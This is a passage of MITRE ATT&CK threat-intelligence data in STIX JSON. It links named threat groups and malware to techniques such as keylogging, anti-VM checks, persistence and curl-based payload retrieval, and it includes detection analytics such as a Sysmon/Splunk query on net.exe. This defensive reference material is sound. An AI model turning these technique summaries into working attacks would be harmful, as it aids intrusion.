Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-27T17:19:59.676Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has checked if the malware is running in a virtual environment with the anti-debug function GetTickCount() to compare the timing.(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88aa51c3-b020-4283-b325-798dad4134c4","type":"relationship","created":"2020-01-24T14:18:13.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:18:13.657Z","relationship_type":"revoked-by","source_ref":"attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6","target_ref":"attack-pattern--63220765-d418-44de-8fae-694b3912317d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88ad4d2e-745e-4712-8901-e772dfaf3298","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-26T16:10:43.174Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used valid digital certificates from Sysprint AG to sign its [Epic](https://attack.mitre.org/software/S0091) dropper.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88ad4f5a-f127-435c-a8a0-6a6fceddfa47","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.747Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) can install itself as a new service.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--88b934e6-7620-49dd-a5a4-ce92c5d42b30","created":"2022-09-07T13:55:01.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:49:43.749Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors ran a command script to set up persistence as a scheduled task named \"WinUpdate\", as well as other encoded commands from the command-line (Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88c2feed-474e-427c-a0ed-6a4e1576b145","type":"relationship","created":"2021-11-22T19:01:22.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-22T19:01:22.714Z","description":"(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--88c50625-6d02-42fb-aa82-4315a532b754","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T20:31:42.031Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware gathers the victim's local IP address, MAC address, and external IP address.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--88c5ab38-2081-4e18-b069-d69c252aff97","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:33:15.430Z","description":"Monitor for unexpected usage of syscalls such as `mount` that may indicate an attempt to escape from a privileged container to host. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--88cc39f6-5afb-43b8-be91-bcd0a10c6d15","created":"2024-09-25T14:06:00.564Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T14:06:00.564Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--924d273c-be0d-4d8d-af58-2dddb15ef1e2","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--88d26308-c00d-4394-8074-7d80d3deeea5","created":"2024-08-01T23:22:08.618Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T23:22:08.618Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) archives collected system information in a text f ile, `System info.txt`, prior to exfiltration.(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88d48848-1f23-4d91-8934-045d04b219ea","type":"relationship","created":"2020-06-01T14:41:54.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T15:10:44.704Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to record video on a compromised host.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88d53468-4ab8-455e-bd16-dc52ef9a3d96","type":"relationship","created":"2019-01-30T15:43:19.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2019-02-12T21:14:11.278Z","description":"[OceanSalt](https://attack.mitre.org/software/S0346) can collect the computer name from the system.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--88d6a08e-2e96-41de-868f-b41c07d11541","created":"2021-03-03T18:57:21.393Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Waterbear](https://attack.mitre.org/software/S0579) can use API hooks on `GetExtendedTcpTable` to retrieve a table containing a list of TCP endpoints available to the application.(Citation: Trend Micro Waterbear December 2019) ","modified":"2022-04-06T14:15:16.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--88d72a6e-091f-48ff-9ad4-fd05d748d956","created":"2022-08-18T18:52:33.003Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has created e-mail accounts to spoof targeted organizations.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-18T18:52:33.003Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--88e52860-d4cc-485a-b23f-ad2cda301727","created":"2023-02-14T18:43:07.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T21:06:52.989Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can download files from its C2 server, including the .NET DLLs, `WoodySharpExecutor` and `WoodyPowerSession`.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88e72e23-0d97-47ce-92a9-61fa36344550","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88f03e47-d816-4d46-ae13-6ce121f1f2a2","type":"relationship","created":"2021-06-21T15:13:02.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T15:13:02.726Z","description":"[P8RAT](https://attack.mitre.org/software/S0626) can check the compromised host for processes associated with VMware or VirtualBox environments.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88f1dfcb-3b2a-494d-bab2-027602c4f78f","type":"relationship","created":"2021-09-08T14:35:24.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-09-08T14:35:24.911Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) can hide legitimate directories and replace them with malicious copies of the same name.(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--88f2b6ee-50d5-410c-8428-581ea948748c","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:48:02.849Z","description":"Monitor newly executed processes associated with account creation, such as net.exe\n\nAnalytic 1 - Create local admin accounts using net.exe\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image= C:\\Windows\\System32\\net.exe OR Image= C:\\Windows\\System32\\net1.exe ) AND CommandLine = * -exportPFX * )","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88f865ea-0201-4328-a777-8a648daf32ef","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor services for changes made to Launch Daemons to execute malicious payloads as part of persistence.","source_ref":"x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89006d46-811b-4ad7-9b27-cf9f563418a2","created":"2024-02-12T20:30:45.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"},{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:37:21.295Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) retrieves cryptocurrency mining payloads and commands in encrypted traffic from its command and control server.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) uses Windows Batch scripts executing the curl command to retrieve follow-on payloads.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-04-25T02:48:47.552Z","description":"To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an “Office Start,” “Yahoo Talk,” “MSN Gaming Z0ne,” or “MSN Talk” shortcut.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8904d69b-a5ab-4e4c-b7c7-c437e7859b8a","created":"2021-03-05T18:13:06.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"},{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T18:12:20.094Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used batch scripts on victim's machines.(Citation: Crowdstrike Indrik November 2018)(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8906c905-87ff-48bf-b17e-1b8397ef062e","type":"relationship","created":"2021-01-25T13:58:25.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}],"modified":"2021-03-11T23:13:04.925Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) has used process hollowing shellcode to target a predefined list of processes from %SYSTEM32%.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89077d0b-aaa2-48b9-90d7-e253a550bfad","created":"2020-05-13T19:06:23.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.214Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used ProxyBot, which allows the attacker to redirect traffic from the current node to the backconnect server via Sock4\\Socks5.(Citation: Group IB Silence Sept 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8907c952-38f8-49de-900d-4f2fa0c485c1","type":"relationship","created":"2019-01-29T21:40:37.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2020-03-16T16:31:26.998Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform keylogging on the victim’s machine.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8908a544-e6b6-485a-8251-6c8dd1fbc040","type":"relationship","created":"2020-05-06T21:31:07.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.624Z","description":"[Okrum](https://attack.mitre.org/software/S0439) has used DriveLetterView to enumerate drive information.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--890f944f-190d-456d-b194-f5ecb17a0868","type":"relationship","created":"2019-06-24T17:20:24.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 